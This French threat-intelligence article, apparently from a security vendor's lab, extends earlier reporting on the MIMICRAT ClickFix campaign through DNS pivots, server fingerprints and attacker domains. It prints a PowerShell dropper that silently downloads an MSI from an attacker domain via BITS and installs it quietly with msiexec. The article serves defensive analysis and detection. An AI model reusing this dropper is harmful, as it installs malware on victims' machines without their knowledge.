Investigations sur la campagne MIMICRAT ClickFix

Introduction

L'équipe de Elastic Security Labs a récemment publié un excellent article à propos d'une campagne de type "ClickFix", c'est-à-dire une incitation des victimes à exécuter par elles-mêmes des actions malveillantes via un copier-coller. Cela permet aux attaquants de délivrer un RAT intitulé MIMICRAT, via plusieurs sites légitimes préalablement compromis.

L'équipe Stormshield Customer Security Lab a constaté que la campagne était encore en cours, et même en pleine évolution. L'occasion de mener des investigations supplémentaires, en date du 03 mars 2026. Celles-ci nous ont ainsi permis de découvrir des informations et indicateurs complémentaires.

Les investigations initiales

Le rapport initial de Elastic Security Labs fait état des indicateurs suivants liés à la campagne MIMICRAT :

Par le pouvoir de la résolution DNS passive de Validin, opérée sur les adresses IP ci-dessus, nous obtenons également une longue liste de domaines supplémentaires :

Plusieurs enseignements sont déjà à noter :

• La plupart de ces enregistrements datent de début janvier.
• Le reste a été ajouté a posteriori.
• Certains d'entre eux ont même été ajoutés le jour même où nous écrivons ces lignes. Il est donc probable d'en voir apparaître de nouveaux dans les prochaines semaines.
• Tous ces enregistrements ont été effectués via l'hôte de domaines NiceNIC.

L'art du pivot

IP 45.13.212[.]250

Les réponses HTTP du premier serveur délivrant le payload (45.13.212[.]250) ne sont pas d'une grande utilité.

Leur en-tête est très classique, mais la donnée varie selon l'URL que nous tentons de joindre. Le serveur semble utiliser des hôtes virtuels qui redirigent les requêtes. Nous obtenons une page blanche avec un simple texte, comme "db error", "wp db error", "OK", "sever error"(sic), ou encore "NO". Aucun de ces éléments ne nous permet d'obtenir des informations intéressantes via les pivots.

IP 45.13.212[.]251

Davantage d'éléments intéressants se cachent sur le second serveur (45.13.212[.]251), qui contient également une page blanche avec le texte "hosting is blocked". Le pivot sur ce corps de texte nous informe qu'il n'y a que quelques IP supplémentaires qui répondent avec cette même page ; ce qui mérite de s'y attarder.

Et en effet, le jour même où nous rédigeons cet article, ces réponses HTTP sont progressivement remplacées par une page commune de type "Access forbidden" avec un code HTTP 403.

Adresses IP supplémentaires collectées :

En utilisant la même méthode de résolution DNS passive, nous obtenons finalement une impressionnante liste de domaines supplémentaires.

En se penchant un peu plus loin sur ces domaines, nous avons constaté les éléments suivants :

• Tout comme les IOCs brillamment repérés par Elastic Security Labs, tous ces domaines ont également été enregistrés début 2026, via NiceNIC.
• Le certificat associé au domaine mispolishal[.]com est mal configuré, car il n’est pas valide pour ce site. En effet, le serveur utilise le certificat prévu pour avprog[.]cc.
• Grâce à GoBuster, nous avons repéré des fichiers et dossiers sur tous ces domaines.
  • Ils possèdent des endpoints communs, comme /js ou /ps. Mais il y en a parfois de plus accortes, comme /cmd, /update ...

Les similitudes s'accumulent...

Le domaine msservice[.]network possède même un dossier /friend, qui offre des informations supplémentaires, sous la forme d'un script Powershell :

$name = "ProgramData";
$programData = (Get-Item "env:$name").Value;
$inst = "FriendIstaller";
$path = Join-Path $programData $inst;
New-Item -ItemType Directory -Path $path -Force | Out-Null;
$path = Join-Path $path "friend.msi";
Start-BitsTransfer "https://msservice.network/friend.msi" "$path";
Unblock-File $path;
Start-Process msiexec.exe -ArgumentList "/i `"$path`" /qn /norestart" -Wait

Ce script PowerShell télécharge silencieusement un fichier MSI nommé friend.msi dans un sous-dossier de C:\ProgramData. Le fichier MSI n’a pas pu être récupéré à l’adresse indiquée, car celui-ci n'est plus disponible à ce jour. Nous n'avons donc pas pu établir de lien entre ce script et le reste de la campagne.

Par ailleurs, le domaine plugins-manager[.]network et le sous-domaine www.plugins-manager[.]network permettent de télécharger des scripts PowerShell de type dropper comme déjà décrits par nos confrères d'Elastic Security Labs.

IP 23.227.202[.]114

Nous avons ensuite porté notre attention vers le C2 utilisé pour l'exploitation post-infection (23.227.202[.]114). La réponse HTTP contient une page simple intitulée "CryptoBet Arena". En pivotant sur ce titre, nous obtenons ces domaines supplémentaires :

Ces deux domaines, enregistrés à la mi-janvier, pointent vers un environnement Cloud partagé. Lorsqu'on les requête, on obtient une page HTTP avec le même contenu que le serveur d'exploitation. Nous pouvons ainsi considérer qu'il fait aussi partie de l'infrastructure des attaquants.

Conclusion

Malgré une détection initiale précoce, les attaquants ont continué à étendre leur infrastructure. Et certains nouveaux éléments pourraient donc ainsi prochainement apparaître à leur tour. Quant aux sites compromis initiaux, Elastic Security Labs en a repéré plusieurs, mais il y en a probablement d'autres. Méfiance et vigilance sont donc de mise.

Comment répondre

• Effectuez régulièrement des campagnes de sensibilisations à la cybersécurité, aux techniques de phishing en général, et sur celle du ClickFix en particulier.
• Suivez les recommandations de cybersécurité en vigueur : segmentation réseau, contrôle d'accès strict, maintenance des systèmes à jour, création de restaurations.
• Sur les firewalls Stormshield Network Security, appliquez l'IPS sur le trafic entrant et sortant, ainsi que du filtrage par réputation IP.

IOC supplémentaires repérés